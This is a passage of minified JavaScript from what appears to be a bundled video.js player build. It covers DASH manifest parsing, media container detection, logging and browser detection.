s={uri:t,resolvedUri:K(e||"",t)};if(i||n){const e=(i||n).split("-");let t,a=r().BigInt?r().BigInt(e[0]):parseInt(e[0],10),o=r().BigInt?r().BigInt(e[1]):parseInt(e[1],10);a<Number.MAX_SAFE_INTEGER&&"bigint"==typeof a&&(a=Number(a)),o<Number.MAX_SAFE_INTEGER&&"bigint"==typeof o&&(o=Number(o)),t="bigint"==typeof o||"bigint"==typeof a?r().BigInt(o)-r().BigInt(a)+r().BigInt(1):o-a+1,"bigint"==typeof t&&t<Number.MAX_SAFE_INTEGER&&(t=Number(t)),s.byterange={length:t,offset:a}}return s},re=e=>(e&&"number"!=typeof e&&(e=parseInt(e,10)),isNaN(e)?null:e),se={static(e){const{duration:t,timescale:i=1,sourceDuration:n,periodDuration:r}=e,s=re(e.endNumber),a=t/i;return"number"==typeof s?{start:0,end:s}:"number"==typeof r?{start:0,end:r/a}:{start:0,end:n/a}},dynamic(e){const{NOW:t,clientOffset:i,availabilityStartTime:n,timescale:r=1,duration:s,periodStart:a=0,minimumUpdatePeriod:o=0,timeShiftBufferDepth:l=1/0}=e,u=re(e.endNumber),c=(t+i)/1e3,d=n+a,h=c+o-d,p=Math.ceil(h*r/s),f=Math.floor((c-d-l)*r/s),m=Math.floor((c-d)*r/s);return{start:Math.max(0,f),end:"number"==typeof u?u:Math.min(p,m)}}},ae=e=>{const{type:t,duration:i,timescale:n=1,periodDuration:r,sourceDuration:s}=e,{start:a,end:o}=se[t](e),l=((e,t)=>{const i=[];for(let n=e;n<t;n++)i.push(n);return i})(a,o).map((e=>t=>{const{duration:i,timescale:n=1,periodStart:r,startNumber:s=1}=e;return{number:s+t,duration:i/n,timeline:r,time:t*i}})(e));if("static"===t){const e=l.length-1,t="number"==typeof r?r:s;l[e].duration=t-i/n*e}return l},oe=e=>{const{baseUrl:t,initialization:i={},sourceDuration:n,indexRange:r="",periodStart:s,presentationTime:a,number:o=0,duration:l}=e;if(!t)throw new Error("NO_BASE_URL");const u=ne({baseUrl:t,source:i.sourceURL,range:i.range}),c=ne({baseUrl:t,source:t,indexRange:r});if(c.map=u,l){const t=ae(e);t.length&&(c.duration=t[0].duration,c.timeline=t[0].timeline)}else n&&(c.duration=n,c.timeline=s);return c.presentationTime=a||s,c.number=o,[c]},le=(e,t,i)=>{const n=e.sidx.map?e.sidx.map:null,s=e.sidx.duration,a=e.timeline||0,o=e.sidx.byterange,l=o.offset+o.length,u=t.timescale,c=t.references.filter((e=>1!==e.referenceType)),d=[],h=e.endList?"static":"dynamic",p=e.sidx.timeline;let f,m=p,g=e.mediaSequence||0;f="bigint"==typeof t.firstOffset?r().BigInt(l)+t.firstOffset:l+t.firstOffset;for(let e=0;e<c.length;e++){const o=t.references[e],l=o.referencedSize,c=o.subsegmentDuration;let _;_="bigint"==typeof f?f+r().BigInt(l)-r().BigInt(1):f+l-1;const v=oe({baseUrl:i,timescale:u,timeline:a,periodStart:p,presentationTime:m,number:g,duration:c,sourceDuration:s,indexRange:`${f}-${_}`,type:h})[0];n&&(v.map=n),d.push(v),f+="bigint"==typeof f?r().BigInt(l):l,m+=c/u,g++}return e.segments=d,e},ue=["AUDIO","SUBTITLES"],ce=e=>{return(t=e,i=({timeline:e})=>e,ee(t.reduce(((e,t)=>(t.forEach((t=>{e[i(t)]=t})),e)),{}))).sort(((e,t)=>e.timeline>t.timeline?1:-1));var t,i},de=e=>{let t=[];var i,n;return i=e,n=(e,i,n,r)=>{t=t.concat(e.playlists||[])},ue.forEach((function(e){for(var t in i.mediaGroups[e])for(var r in i.mediaGroups[e][t]){var s=i.mediaGroups[e][t][r];n(s)}})),t},he=({playlist:e,mediaSequence:t})=>{e.mediaSequence=t,e.segments.forEach(((t,i)=>{t.number=e.mediaSequence+i}))},pe=e=>e&&e.uri+"-"+(e=>{let t;return t="bigint"==typeof e.offset||"bigint"==typeof e.length?r().BigInt(e.offset)+r().BigInt(e.length)-r().BigInt(1):e.offset+e.length-1,`${e.offset}-${t}`})(e.byterange),fe=e=>{const t=e.reduce((function(e,t){return e[t.attributes.baseUrl]||(e[t.attributes.baseUrl]=[]),e[t.attributes.baseUrl].push(t),e}),{});let i=[];return Object.values(t).forEach((e=>{const t=ee(e.reduce(((e,t)=>{const i=t.attributes.id+(t.attributes.lang||"");return e[i]?(t.segments&&(t.segments[0]&&(t.segments[0].discontinuity=!0),e[i].segments.push(...t.segments)),t.attributes.contentProtection&&(e[i].attributes.contentProtection=t.attributes.contentProtection)):(e[i]=t,e[i].attributes.timelineStarts=[]),e[i].attributes.timelineStarts.push({start:t.attributes.periodStart,timeline:t.attributes.periodStart}),e}),{}));i=i.concat(t)})),i.map((e=>(e.discontinuityStarts=(e.segments||[]).reduce(((e,t,i)=>(t.discontinuity&&e.push(i),e)),[]),e)))},me=(e,t)=>{const i=pe(e.sidx),n=i&&t[i]&&t[i].sidx;return n&&le(e,n,e.sidx.resolvedUri),e},ge=(e,t={})=>{if(!Object.keys(t).length)return e;for(const i in e)e[i]=me(e[i],t);return e},_e=({attributes:e,segments:t,sidx:i,discontinuityStarts:n})=>{const r={attributes:{NAME:e.id,AUDIO:"audio",SUBTITLES:"subs",RESOLUTION:{width:e.width,height:e.height},CODECS:e.codecs,BANDWIDTH:e.bandwidth,"PROGRAM-ID":1},uri:"",endList:"static"===e.type,timeline:e.periodStart,resolvedUri:e.baseUrl||"",targetDuration:e.duration,discontinuityStarts:n,timelineStarts:e.timelineStarts,segments:t};return e.frameRate&&(r.attributes["FRAME-RATE"]=e.frameRate),e.contentProtection&&(r.contentProtection=e.contentProtection),e.serviceLocation&&(r.attributes.serviceLocation=e.serviceLocation),i&&(r.sidx=i),r},ve=({attributes:e})=>"video/mp4"===e.mimeType||"video/webm"===e.mimeType||"video"===e.contentType,ye=({attributes:e})=>"audio/mp4"===e.mimeType||"audio/webm"===e.mimeType||"audio"===e.contentType,be=({attributes:e})=>"text/vtt"===e.mimeType||"text"===e.contentType,we=e=>e?Object.keys(e).reduce(((t,i)=>{const n=e[i];return t.concat(n.playlists)}),[]):[],ke=(e,t,i)=>{const{NOW:n,clientOffset:r,availabilityStartTime:s,timescale:a=1,periodStart:o=0,minimumUpdatePeriod:l=0}=e,u=(n+r)/1e3+l-(s+o);return Math.ceil((u*a-t)/i)},Se=(e,t)=>{const{type:i,minimumUpdatePeriod:n=0,media:r="",sourceDuration:s,timescale:a=1,startNumber:o=1,periodStart:l}=e,u=[];let c=-1;for(let d=0;d<t.length;d++){const h=t[d],p=h.d,f=h.r||0,m=h.t||0;let g;if(c<0&&(c=m),m&&m>c&&(c=m),f<0){const o=d+1;g=o===t.length?"dynamic"===i&&n>0&&r.indexOf("$Number$")>0?ke(e,c,p):(s*a-c)/p:(t[o].t-c)/p}else g=f+1;const _=o+u.length+g;let v=o+u.length;for(;v<_;)u.push({number:v,duration:p/a,time:c,timeline:l}),c+=p,v++}return u},Me=/\$([A-z]*)(?:(%0)([0-9]+)d)?\$/g,xe=(e,t)=>e.replace(Me,(e=>(t,i,n,r)=>{if("$$"===t)return"$";if(void 0===e[i])return t;const s=""+e[i];return"RepresentationID"===i?s:(r=n?parseInt(r,10):1,s.length>=r?s:`${new Array(r-s.length+1).join("0")}${s}`)})(t)),Le=(e,t)=>{const i={RepresentationID:e.id,Bandwidth:e.bandwidth||0},{initialization:n={sourceURL:"",range:""}}=e,r=ne({baseUrl:e.baseUrl,source:xe(n.sourceURL,i),range:n.range}),s=((e,t)=>e.duration||t?e.duration?ae(e):Se(e,t):[{number:e.startNumber||1,duration:e.sourceDuration,time:0,timeline:e.periodStart}])(e,t);return s.map((t=>{i.Number=t.number,i.Time=t.time;const n=xe(e.media||"",i),s=e.timescale||1,a=e.presentationTimeOffset||0,o=e.periodStart+(t.time-a)/s;return{uri:n,timeline:t.timeline,duration:t.duration,resolvedUri:K(e.baseUrl||"",n),map:r,number:t.number,presentationTime:o}}))},Ce=(e,t)=>{const{duration:i,segmentUrls:n=[],periodStart:r}=e;if(!i&&!t||i&&t)throw new Error("SEGMENT_TIME_UNSPECIFIED");const s=n.map((t=>((e,t)=>{const{baseUrl:i,initialization:n={}}=e,r=ne({baseUrl:i,source:n.sourceURL,range:n.range}),s=ne({baseUrl:i,source:t.media,range:t.mediaRange});return s.map=r,s})(e,t)));let a;return i&&(a=ae(e)),t&&(a=Se(e,t)),a.map(((t,i)=>{if(s[i]){const n=s[i],a=e.timescale||1,o=e.presentationTimeOffset||0;return n.timeline=t.timeline,n.duration=t.duration,n.number=t.number,n.presentationTime=r+(t.time-o)/a,n}})).filter((e=>e))},De=({attributes:e,segmentInfo:t})=>{let i,n;t.template?(n=Le,i=Q(e,t.template)):t.base?(n=oe,i=Q(e,t.base)):t.list&&(n=Ce,i=Q(e,t.list));const r={attributes:e};if(!n)return r;const s=n(i,t.segmentTimeline);if(i.duration){const{duration:e,timescale:t=1}=i;i.duration=e/t}else s.length?i.duration=s.reduce(((e,t)=>Math.max(e,Math.ceil(t.duration))),0):i.duration=0;return r.attributes=i,r.segments=s,t.base&&i.indexRange&&(r.sidx=s[0],r.segments=[]),r},Ee=(e,t)=>ie(e.childNodes).filter((({tagName:e})=>e===t)),Pe=e=>e.textContent.trim(),Ae=e=>{const t=/P(?:(\d*)Y)?(?:(\d*)M)?(?:(\d*)D)?(?:T(?:(\d*)H)?(?:(\d*)M)?(?:([\d.]*)S)?)?/.exec(e);if(!t)return 0;const[i,n,r,s,a,o]=t.slice(1);return 31536e3*parseFloat(i||0)+2592e3*parseFloat(n||0)+86400*parseFloat(r||0)+3600*parseFloat(s||0)+60*parseFloat(a||0)+parseFloat(o||0)},Ie={mediaPresentationDuration:e=>Ae(e),availabilityStartTime(e){return/^\d+-\d+-\d+T\d+:\d+:\d+(\.\d+)?$/.test(t=e)&&(t+="Z"),Date.parse(t)/1e3;var t},minimumUpdatePeriod:e=>Ae(e),suggestedPresentationDelay:e=>Ae(e),type:e=>e,timeShiftBufferDepth:e=>Ae(e),start:e=>Ae(e),width:e=>parseInt(e,10),height:e=>parseInt(e,10),bandwidth:e=>parseInt(e,10),frameRate:e=>(e=>parseFloat(e.split("/").reduce(((e,t)=>e/t))))(e),startNumber:e=>parseInt(e,10),timescale:e=>parseInt(e,10),presentationTimeOffset:e=>parseInt(e,10),duration(e){const t=parseInt(e,10);return isNaN(t)?Ae(e):t},d:e=>parseInt(e,10),t:e=>parseInt(e,10),r:e=>parseInt(e,10),presentationTime:e=>parseInt(e,10),DEFAULT:e=>e},Oe=e=>e&&e.attributes?ie(e.attributes).reduce(((e,t)=>{const i=Ie[t.name]||Ie.DEFAULT;return e[t.name]=i(t.value),e}),{}):{},Ye={"urn:uuid:1077efec-c0b2-4d02-ace3-3c1e52e2fb4b":"org.w3.clearkey","urn:uuid:edef8ba9-79d6-4ace-a3c8-27dcd51d21ed":"com.widevine.alpha","urn:uuid:9a04f079-9840-4286-ab92-e65be0885f95":"com.microsoft.playready","urn:uuid:f239e769-efa3-4850-9c16-a903c6932efb":"com.adobe.primetime","urn:mpeg:dash:mp4protection:2011":"mp4protection"},$e=(e,t)=>t.length?te(e.map((function(e){return t.map((function(t){const i=Pe(t),n=K(e.baseUrl,i),r=Q(Oe(t),{baseUrl:n});return n!==i&&!r.serviceLocation&&e.serviceLocation&&(r.serviceLocation=e.serviceLocation),r}))}))):e,je=e=>{const t=Ee(e,"SegmentTemplate")[0],i=Ee(e,"SegmentList")[0],n=i&&Ee(i,"SegmentURL").map((e=>Q({tag:"SegmentURL"},Oe(e)))),r=Ee(e,"SegmentBase")[0],s=i||t,a=s&&Ee(s,"SegmentTimeline")[0],o=i||r||t,l=o&&Ee(o,"Initialization")[0],u=t&&Oe(t);u&&l?u.initialization=l&&Oe(l):u&&u.initialization&&(u.initialization={sourceURL:u.initialization});const c={template:u,segmentTimeline:a&&Ee(a,"S").map((e=>Oe(e))),list:i&&Q(Oe(i),{segmentUrls:n,initialization:Oe(l)}),base:r&&Q(Oe(r),{initialization:Oe(l)})};return Object.keys(c).forEach((e=>{c[e]||delete c[e]})),c},Ne=e=>te(Ee(e.node,"EventStream").map((t=>{const i=Oe(t),n=i.schemeIdUri;return Ee(t,"Event").map((t=>{const r=Oe(t),s=r.presentationTime||0,a=i.timescale||1,o=r.duration||0,l=s/a+e.attributes.start;return{schemeIdUri:n,value:i.value,id:r.id,start:l,end:l+o/a,messageData:Pe(t)||r.messageData,contentEncoding:i.contentEncoding,presentationTimeOffset:i.presentationTimeOffset||0}}))}))),Re=(e,t,i)=>n=>{const s=Oe(n),a=$e(t,Ee(n,"BaseURL")),o=Ee(n,"Role")[0],l={role:Oe(o)};let u=Q(e,s,l);const c=Ee(n,"Accessibility")[0],d="urn:scte:dash:cc:cea-608:2015"===(h=Oe(c)).schemeIdUri?("string"!=typeof h.value?[]:h.value.split(";")).map((e=>{let t,i;return i=e,/^CC\d=/.test(e)?[t,i]=e.split("="):/^CC\d$/.test(e)&&(t=e),{channel:t,language:i}})):"urn:scte:dash:cc:cea-708:2015"===h.schemeIdUri?("string"!=typeof h.value?[]:h.value.split(";")).map((e=>{const t={channel:void 0,language:void 0,aspectRatio:1,easyReader:0,"3D":0};if(/=/.test(e)){const[i,n=""]=e.split("=");t.channel=i,t.language=e,n.split(",").forEach((e=>{const[i,n]=e.split(":");"lang"===i?t.language=n:"er"===i?t.easyReader=Number(n):"war"===i?t.aspectRatio=Number(n):"3D"===i&&(t["3D"]=Number(n))}))}else t.language=e;return t.channel&&(t.channel="SERVICE"+t.channel),t})):void 0;var h;d&&(u=Q(u,{captionServices:d}));const p=Ee(n,"Label")[0];if(p&&p.childNodes.length){const e=p.childNodes[0].nodeValue.trim();u=Q(u,{label:e})}const f=Ee(n,"ContentProtection").reduce(((e,t)=>{const i=Oe(t);i.schemeIdUri&&(i.schemeIdUri=i.schemeIdUri.toLowerCase());const n=Ye[i.schemeIdUri];if(n){e[n]={attributes:i};const s=Ee(t,"cenc:pssh")[0];if(s){const t=Pe(s);e[n].pssh=t&&function(e){for(var t,i=(t=e,r().atob?r().atob(t):Buffer.from(t,"base64").toString("binary")),n=new Uint8Array(i.length),s=0;s<i.length;s++)n[s]=i.charCodeAt(s);return n}(t)}}return e}),{});Object.keys(f).length&&(u=Q(u,{contentProtection:f}));const m=je(n),g=Ee(n,"Representation"),_=Q(i,m);return te(g.map(((e,t,i)=>n=>{const r=Ee(n,"BaseURL"),s=$e(t,r),a=Q(e,Oe(n)),o=je(n);return s.map((e=>({segmentInfo:Q(i,o),attributes:Q(a,e)})))})(u,a,_)))},He=(e,t)=>(i,n)=>{const r=$e(t,Ee(i.node,"BaseURL")),s=Q(e,{periodStart:i.attributes.start});"number"==typeof i.attributes.duration&&(s.periodDuration=i.attributes.duration);const a=Ee(i.node,"AdaptationSet"),o=je(i.node);return te(a.map(Re(s,r,o)))},Fe=(e,t)=>{if(e.length>1&&t({type:"warn",message:"The MPD manifest should contain no more than one ContentSteering tag"}),!e.length)return null;const i=Q({serverURL:Pe(e[0])},Oe(e[0]));return i.queryBeforeStart="true"===i.queryBeforeStart,i},Be=e=>{if(""===e)throw new Error("DASH_EMPTY_MANIFEST");const t=new X.DOMParser;let i,n;try{i=t.parseFromString(e,"application/xml"),n=i&&"MPD"===i.documentElement.tagName?i.documentElement:null}catch(e){}if(!n||n&&n.getElementsByTagName("parsererror").length>0)throw new Error("DASH_INVALID_XML");return n};var Ue,We=i(84221),ze=i.n(We),qe=W([73,68,51]),Ve=function e(t,i){return void 0===i&&(i=0),(t=W(t)).length-i<10||!G(t,qe,{offset:i})?i:(i+=function(e,t){void 0===t&&(t=0);var i=(e=W(e))[t+5],n=e[t+6]<<21|e[t+7]<<14|e[t+8]<<7|e[t+9];return(16&i)>>4?n+20:n+10}(t,i),e(t,i))},Je=(new Uint8Array([79,112,117,115,72,101,97,100]),function(e){return"string"==typeof e?J(e):e}),Ge=function(e){e=W(e);for(var t=[],i=0;e.length>i;){var n=e[i],r=0,s=0,a=e[++s];for(s++;128&a;)r=(127&a)<<7,a=e[s],s++;r+=127&a;for(var o=0;o<Ue.length;o++){var l=Ue[o],u=l.id,c=l.parser;if(n===u){t.push(c(e.subarray(s,s+r)));break}}i+=r+s}return t};Ue=[{id:3,parser:function(e){var t={tag:3,id:e[0]<<8|e[1],flags:e[2],size:3,dependsOnEsId:0,ocrEsId:0,descriptors:[],url:""};if(128&t.flags&&(t.dependsOnEsId=e[t.size]<<8|e[t.size+1],t.size+=2),64&t.flags){var i=e[t.size];t.url=function(e){if(!e)return"";e=Array.prototype.slice.call(e);var t=String.fromCharCode.apply(null,W(e));try{return decodeURIComponent(escape(t))}catch(e){}return t}(e.subarray(t.size+1,t.size+1+i)),t.size+=i}return 32&t.flags&&(t.ocrEsId=e[t.size]<<8|e[t.size+1],t.size+=2),t.descriptors=Ge(e.subarray(t.size))||[],t}},{id:4,parser:function(e){return{tag:4,oti:e[0],streamType:e[1],bufferSize:e[2]<<16|e[3]<<8|e[4],maxBitrate:e[5]<<24|e[6]<<16|e[7]<<8|e[8],avgBitrate:e[9]<<24|e[10]<<16|e[11]<<8|e[12],descriptors:Ge(e.subarray(13))}}},{id:5,parser:function(e){return{tag:5,bytes:e}}},{id:6,parser:function(e){return{tag:6,bytes:e}}}];var Ke=function e(t,i,n){void 0===n&&(n=!1),i=function(e){return Array.isArray(e)?e.map((function(e){return Je(e)})):[Je(e)]}(i),t=W(t);var r=[];if(!i.length)return r;for(var s=0;s<t.length;){var a=(t[s]<<24|t[s+1]<<16|t[s+2]<<8|t[s+3])>>>0,o=t.subarray(s+4,s+8);if(0===a)break;var l=s+a;if(l>t.length){if(n)break;l=t.length}var u=t.subarray(s+8,l);G(o,i[0])&&(1===i.length?r.push(u):r.push.apply(r,e(u,i.slice(1),n))),s=l}return r},Xe={EBML:W([26,69,223,163]),DocType:W([66,130]),Segment:W([24,83,128,103]),SegmentInfo:W([21,73,169,102]),Tracks:W([22,84,174,107]),Track:W([174]),TrackNumber:W([215]),DefaultDuration:W([35,227,131]),TrackEntry:W([174]),TrackType:W([131]),FlagDefault:W([136]),CodecID:W([134]),CodecPrivate:W([99,162]),VideoTrack:W([224]),AudioTrack:W([225]),Cluster:W([31,67,182,117]),Timestamp:W([231]),TimestampScale:W([42,215,177]),BlockGroup:W([160]),BlockDuration:W([155]),Block:W([161]),SimpleBlock:W([163])},Ze=[128,64,32,16,8,4,2,1],Qe=function(e,t,i,n){void 0===i&&(i=!0),void 0===n&&(n=!1);var r=function(e){for(var t=1,i=0;i<Ze.length&&!(e&Ze[i]);i++)t++;return t}(e[t]),s=e.subarray(t,t+r);return i&&((s=Array.prototype.slice.call(e,t,t+r))[0]^=Ze[r-1]),{length:r,value:V(s,{signed:n}),bytes:s}},et=function e(t){return"string"==typeof t?t.match(/.{1,2}/g).map((function(t){return e(t)})):"number"==typeof t?function(e,t){var i={}.le,n=void 0!==i&&i;("bigint"!=typeof e&&"number"!=typeof e||"number"==typeof e&&e!=e)&&(e=0);for(var r,s=(r=e=z(e),Math.ceil(function(e){return e.toString(2).length}(r)/8)),a=new Uint8Array(new ArrayBuffer(s)),o=0;o<s;o++){var l=n?o:Math.abs(o+1-a.length);a[l]=Number(e/q[o]&z(255)),e<0&&(a[l]=Math.abs(~a[l]),a[l]-=0===o?1:2)}return a}(t):t},tt=function e(t,i,n){if(n>=i.length)return i.length;var r=Qe(i,n,!1);if(G(t.bytes,r.bytes))return n;var s=Qe(i,n+r.length);return e(t,i,n+s.length+s.value+r.length)},it=function e(t,i){i=function(e){return Array.isArray(e)?e.map((function(e){return et(e)})):[et(e)]}(i),t=W(t);var n=[];if(!i.length)return n;for(var r=0;r<t.length;){var s=Qe(t,r,!1),a=Qe(t,r+s.length),o=r+s.length+a.length;127===a.value&&(a.value=tt(s,t,o),a.value!==t.length&&(a.value-=o));var l=o+a.value>t.length?t.length:o+a.value,u=t.subarray(o,l);G(i[0],s.bytes)&&(1===i.length?n.push(u):n=n.concat(e(u,i.slice(1)))),r+=s.length+a.length+u.length}return n},nt=W([0,0,0,1]),rt=W([0,0,1]),st=W([0,0,3]),at=function(e){for(var t=[],i=1;i<e.length-2;)G(e.subarray(i,i+3),st)&&(t.push(i+2),i++),i++;if(0===t.length)return e;var n=e.length-t.length,r=new Uint8Array(n),s=0;for(i=0;i<n;s++,i++)s===t[0]&&(s++,t.shift()),r[i]=e[s];return r},ot=function(e,t,i,n){void 0===n&&(n=1/0),e=W(e),i=[].concat(i);for(var r,s=0,a=0;s<e.length&&(a<n||r);){var o=void 0;if(G(e.subarray(s),nt)?o=4:G(e.subarray(s),rt)&&(o=3),o){if(a++,r)return at(e.subarray(r,s));var l=void 0;"h264"===t?l=31&e[s+o]:"h265"===t&&(l=e[s+o]>>1&63),-1!==i.indexOf(l)&&(r=s+o),s+=o+("h264"===t?1:2)}else s++}return e.subarray(0,0)},lt={webm:W([119,101,98,109]),matroska:W([109,97,116,114,111,115,107,97]),flac:W([102,76,97,67]),ogg:W([79,103,103,83]),ac3:W([11,119]),riff:W([82,73,70,70]),avi:W([65,86,73]),wav:W([87,65,86,69]),"3gp":W([102,116,121,112,51,103]),mp4:W([102,116,121,112]),fmp4:W([115,116,121,112]),mov:W([102,116,121,112,113,116]),moov:W([109,111,111,118]),moof:W([109,111,111,102])},ut={aac:function(e){var t=Ve(e);return G(e,[255,16],{offset:t,mask:[255,22]})},mp3:function(e){var t=Ve(e);return G(e,[255,2],{offset:t,mask:[255,6]})},webm:function(e){var t=it(e,[Xe.EBML,Xe.DocType])[0];return G(t,lt.webm)},mkv:function(e){var t=it(e,[Xe.EBML,Xe.DocType])[0];return G(t,lt.matroska)},mp4:function(e){return!ut["3gp"](e)&&!ut.mov(e)&&(!(!G(e,lt.mp4,{offset:4})&&!G(e,lt.fmp4,{offset:4}))||!(!G(e,lt.moof,{offset:4})&&!G(e,lt.moov,{offset:4}))||void 0)},mov:function(e){return G(e,lt.mov,{offset:4})},"3gp":function(e){return G(e,lt["3gp"],{offset:4})},ac3:function(e){var t=Ve(e);return G(e,lt.ac3,{offset:t})},ts:function(e){if(e.length<189&&e.length>=1)return 71===e[0];for(var t=0;t+188<e.length&&t<188;){if(71===e[t]&&71===e[t+188])return!0;t+=1}return!1},flac:function(e){var t=Ve(e);return G(e,lt.flac,{offset:t})},ogg:function(e){return G(e,lt.ogg)},avi:function(e){return G(e,lt.riff)&&G(e,lt.avi,{offset:8})},wav:function(e){return G(e,lt.riff)&&G(e,lt.wav,{offset:8})},h264:function(e){return function(e,t,i){return ot(e,"h264",7,3)}(e).length},h265:function(e){return function(e,t,i){return ot(e,"h265",[32,33],3)}(e).length}},ct=Object.keys(ut).filter((function(e){return"ts"!==e&&"h264"!==e&&"h265"!==e})).concat(["ts","h264","h265"]);ct.forEach((function(e){var t=ut[e];ut[e]=function(e){return t(W(e))}}));var dt=ut,ht=function(e){e=W(e);for(var t=0;t<ct.length;t++){var i=ct[t];if(dt[i](e))return i}return""},pt=i(51489);const mt={},gt=function(e,t){return mt[e]=mt[e]||[],t&&(mt[e]=mt[e].concat(t)),mt[e]},_t=function(e,t){const i=gt(e).indexOf(t);return!(i<=-1||(mt[e]=mt[e].slice(),mt[e].splice(i,1),0))},vt={prefixed:!0},yt=[["requestFullscreen","exitFullscreen","fullscreenElement","fullscreenEnabled","fullscreenchange","fullscreenerror","fullscreen"],["webkitRequestFullscreen","webkitExitFullscreen","webkitFullscreenElement","webkitFullscreenEnabled","webkitfullscreenchange","webkitfullscreenerror","-webkit-full-screen"],["mozRequestFullScreen","mozCancelFullScreen","mozFullScreenElement","mozFullScreenEnabled","mozfullscreenchange","mozfullscreenerror","-moz-full-screen"],["msRequestFullscreen","msExitFullscreen","msFullscreenElement","msFullscreenEnabled","MSFullscreenChange","MSFullscreenError","-ms-fullscreen"]],bt=yt[0];let wt;for(let e=0;e<yt.length;e++)if(yt[e][1]in a()){wt=yt[e];break}if(wt){for(let e=0;e<wt.length;e++)vt[bt[e]]=wt[e];vt.prefixed=wt[0]!==bt[0]}let Tt=[];const kt=function e(t){let i,n="info";const s=function(...e){i("log",n,e)};return i=((e,t)=>(i,n,s)=>{const a=t.levels[n],o=new RegExp(`^(${a})$`);if("log"!==i&&s.unshift(i.toUpperCase()+":"),s.unshift(e+":"),Tt){Tt.push([].concat(s));const e=Tt.length-1e3;Tt.splice(0,e>0?e:0)}if(!r().console)return;let l=r().console[i];l||"debug"!==i||(l=r().console.info||r().console.log),l&&a&&o.test(i)&&l[Array.isArray(s)?"apply":"call"](r().console,s)})(t,s),s.createLogger=i=>e(t+": "+i),s.levels={all:"debug|log|warn|error",off:"",debug:"debug|log|warn|error",info:"log|warn|error",warn:"warn|error",error:"error",DEFAULT:n},s.level=e=>{if("string"==typeof e){if(!s.levels.hasOwnProperty(e))throw new Error(`"${e}" in not a valid log level`);n=e}return n},(s.history=()=>Tt?[].concat(Tt):[]).filter=e=>(Tt||[]).filter((t=>new RegExp(`.*${e}.*`).test(t[0]))),s.history.clear=()=>{Tt&&(Tt.length=0)},s.history.disable=()=>{null!==Tt&&(Tt.length=0,Tt=null)},s.history.enable=()=>{null===Tt&&(Tt=[])},s.error=(...e)=>i("error",n,e),s.warn=(...e)=>i("warn",n,e),s.debug=(...e)=>i("debug",n,e),s}("VIDEOJS"),St=kt.createLogger,Mt=Object.prototype.toString,xt=function(e){return Dt(e)?Object.keys(e):[]};function Lt(e,t){xt(e).forEach((i=>t(e[i],i)))}function Ct(e,t,i=0){return xt(e).reduce(((i,n)=>t(i,e[n],n)),i)}function Dt(e){return!!e&&"object"==typeof e}function Et(e){return Dt(e)&&"[object Object]"===Mt.call(e)&&e.constructor===Object}function Pt(...e){const t={};return e.forEach((e=>{e&&Lt(e,((e,i)=>{Et(e)?(Et(t[i])||(t[i]={}),t[i]=Pt(t[i],e)):t[i]=e}))})),t}function At(e,t,i,n=!0){const r=i=>Object.defineProperty(e,t,{value:i,enumerable:!0,writable:!0}),s={configurable:!0,enumerable:!0,get(){const e=i();return r(e),e}};return n&&(s.set=r),Object.defineProperty(e,t,s)}var It=Object.freeze({__proto__:null,each:Lt,reduce:Ct,isObject:Dt,isPlain:Et,merge:Pt,defineLazyProperty:At});let Ot,Yt=!1,$t=null,jt=!1,Nt=!1,Rt=!1,Ht=!1,Ft=!1,Bt=null,Ut=null,Wt=null,zt=!1,qt=!1,Vt=!1,Jt=!1;const Gt=Boolean(ti()&&("ontouchstart"in r()||r().navigator.maxTouchPoints||r().DocumentTouch&&r().document instanceof r().DocumentTouch)),Kt=r().navigator&&r().navigator.userAgentData;if(Kt&&(jt="Android"===Kt.platform,Rt=Boolean(Kt.brands.find((e=>"Microsoft Edge"===e.brand))),Ht=Boolean(Kt.brands.find((e=>"Chromium"===e.brand))),Ft=!Rt&&Ht,Bt=Ut=(Kt.brands.find((e=>"Chromium"===e.brand))||{}).version||null,qt="Windows"===Kt.platform),!Ht){const e=r().navigator&&r().navigator.userAgent||"";Yt=/iPod/i.test(e),$t=function(){const t=e.match(/OS (\d+)_/i);return t&&t[1]?t[1]:null}(),jt=/Android/i.test(e),Ot=function(){const t=e.match(/Android (\d+)(?:\.(\d+))?(?:\.(\d+))*/i);if(!t)return null;const i=t[1]&&parseFloat(t[1]),n=t[2]&&parseFloat(t[2]);return i&&n?parseFloat(t[1]+"."+t[2]):i||null}(),Nt=/Firefox/i.test(e),Rt=/Edg/i.test(e),Ht=/Chrome/i.test(e)||/CriOS/i.test(e),Ft=!Rt&&Ht,Bt=Ut=function(){const t=e.match(/(Chrome|CriOS)\/(\d+)/);return t&&t[2]?parseFloat(t[2]):null}(),Wt=function(){const t=/MSIE\s(\d+)\.\d/.exec(e);let i=t&&parseFloat(t[1]);return!i&&/Trident\/7.0/i.test(e)&&/rv:11.0/.test(e)&&(i=11),i}(),zt=/Safari/i.test(e)&&!Ft&&!jt&&!Rt,qt=/Windows/i.test(e),Vt=/iPad/i.test(e)||zt&&Gt&&!/iPhone/i.test(e),Jt=/iPhone/i.test(e)&&!Vt}const Xt=Jt||Vt||Yt,Zt=(zt||Xt)&&!Ft;var Qt=Object.freeze({__proto__:null,get IS_IPOD(){return Yt},get IOS_VERSION(){return $t},get IS_ANDROID(){return jt},get ANDROID_VERSION(){return Ot},get IS_FIREFOX(){return Nt},get IS_EDGE(){return Rt},get IS_CHROMIUM(){return Ht},get IS_CHROME(){return Ft},get CHROMIUM_VERSION(){return Bt},get CHROME_VERSION(){return Ut},get IE_VERSION(){return Wt},get IS_SAFARI(){return zt},get IS_WINDOWS(){return qt},get IS_IPAD(){return Vt},get IS_IPHONE(){return Jt},TOUCH_ENABLED:Gt,IS_IOS:Xt,IS_ANY_SAFARI:Zt});function ei(e){return"string"==typeof e&&Boolean(e.trim())}function ti(){return a()===r().document}function ii(e){return Dt(e)&&1===e.nodeType}function ni(){try{return r().parent!==r().self}catch(e){return!0}}function ri(e){return function(t,i){if(!ei(t))return a()[e](null);ei(i)&&(i=a().querySelector(i));const n=ii(i)?i:a();return n[e]&&n[e](t)}}function si(e="div",t={},i={},n){const r=a().createElement(e);return Object.getOwnPropertyNames(t).forEach((function(e){const i=t[e];"textContent"===e?ai(r,i):r[e]===i&&"tabIndex"!==e||(r[e]=i)})),Object.getOwnPropertyNames(i).forEach((function(e){r.setAttribute(e,i[e])})),n&&Mi(r,n),r}function ai(e,t){return void 0===e.textContent?e.innerText=t:e.textContent=t,e}function oi(e,t){t.firstChild?t.insertBefore(e,t.firstChild):t.appendChild(e)}function li(e,t){return function(e){if(e.indexOf(" ")>=0)throw new Error("class has illegal whitespace characters")}(t),e.classList.contains(t)}function ui(e,...t){return 